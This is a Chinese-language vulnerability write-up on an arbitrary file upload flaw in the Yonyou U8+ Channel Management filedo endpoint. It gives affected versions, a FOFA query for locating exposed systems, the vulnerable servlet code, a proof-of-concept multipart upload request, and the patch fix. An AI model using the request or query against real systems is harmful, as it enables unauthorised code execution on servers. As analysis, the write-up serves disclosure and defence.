漏洞简介
用友U8+是用友网络科技股份有限公司推出的企业管理综合平台,广泛应用于财务、进销存、人力资源等企业核心业务系统中。在U8+渠道管理(高级版)模块中,存在一处文件上传漏洞,位于其 filedo 接口。攻击者可通过构造特定的HTTP请求,将恶意脚本或可执行文件上传至服务器。该漏洞可能导致攻击者在目标服务器上执行任意代码,从而获取服务器控制权限,进一步窃取敏感数据、篡改业务数据或对内网其他系统发起攻击。
影响版本
V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13
fofa语法
title="渠道管理(高级版)"
漏洞分析
根据补丁变化

直接看 UploadServlet 在那里引用了
<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>com.gxfcsoft.framework.core.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>*.filedo</url-pattern>
</servlet-mapping>
ok,根据servlet的映射,任意以.filedo 结尾的请求都会经由UploadServlet 处理,跟进看下它的实现逻辑
package com.gxfcsoft.framework.core;
import com.alibaba.fastjson.JSONObject;
import com.gxfcsoft.framework.base.util.Oid;
import com.gxfcsoft.framework.base.util.PathUtil;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.ProgressListener;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
public class UploadServlet extends HttpServlet {
private static final long serialVersionUID = -298116318701283790L;
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String savePath = PathUtil.getAttachAbsoluteDirectory("default");
String newname = "";
String oldname = "";
String message = "1";
resp.setCharacterEncoding("utf-8");
resp.setContentType("text/html;charset=utf-8");
PrintWriter outPrint = resp.getWriter();
try {
File saveFile = new File(savePath);
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(102400);
factory.setRepository(saveFile);
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setProgressListener(new ProgressListener() {
public void update(long arg0, long arg1, int arg2) {
}
});
upload.setHeaderEncoding("UTF-8");
upload.setFileSizeMax(5242880L);
upload.setSizeMax(20971520L);
List<FileItem> list = upload.parseRequest(req);
if (list.size() == 0) {
message = "500";
}
String code = "";
JSONObject obj = new JSONObject();
List<Map<String, String>> lists = new ArrayList();
Map<String, String> map = new LinkedHashMap();
for(FileItem item : list) {
if (item.isFormField()) {
code = item.getString("utf-8");
} else {
String filename = item.getName();
filename = filename.substring(filename.lastIndexOf("\\") + 1);
String suffix = filename.substring(filename.indexOf("."));
String randomName = Oid.getOid() + suffix;
if (newname == "") {
newname = randomName;
} else {
newname = newname + ";" + randomName;
}
if (oldname == "") {
oldname = filename;
} else {
oldname = oldname + ";" + filename;
}
savePath.replace("", "");
InputStream in = item.getInputStream();
FileOutputStream out = new FileOutputStream(savePath + "\\" + randomName);
byte[] buffer = new byte[1024];
int len = 0;
while((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}
in.close();
out.close();
item.delete();
}
}
map.put("oldname", oldname);
map.put("newname", newname);
lists.add(map);
obj.put("fileInfo", lists);
obj.put("flag", "0");
outPrint.print(obj);
} catch (IOException e) {
message = "1";
e.printStackTrace();
} catch (FileUploadException e) {
message = "1";
e.printStackTrace();
} finally {
outPrint.flush();
outPrint.close();
}
}
}
文件后缀从上传文件名中获取,然后拼接到randomName后面形成新的文件名,期间对文件类型和内容无校验或过滤,因此造成任意文件上传漏洞,非常朴实无华!和U8+渠道管理(高级版) imagedo 文件上传漏洞一模一样的漏洞成因!
其实 UploadTestServlet 也存在同样的任意文件上传漏洞,不过需要合法session
<!-- 上传图片,应该作废此方法 -->
<servlet>
<servlet-name>UploadTestServlet</servlet-name>
<servlet-class>com.gxfcsoft.framework.core.UploadTestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadTestServlet</servlet-name>
<url-pattern>/business/test/upload.imgdo</url-pattern>
</servlet-mapping>

补丁修复也是正则白名单检测

漏洞复现
POST /temp.filedo HTTP/1.1
Host: u8.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.PNG"
TEST
------WebKitFormBoundary--

根据getAttachAbsoluteDirectory方法可知

上传位置默认为 /userfile/default/attach/ 目录下,访问上传文件

成功执行我们上传代码
官方补丁修复也很直接,直接正则检测后缀是否为白名单



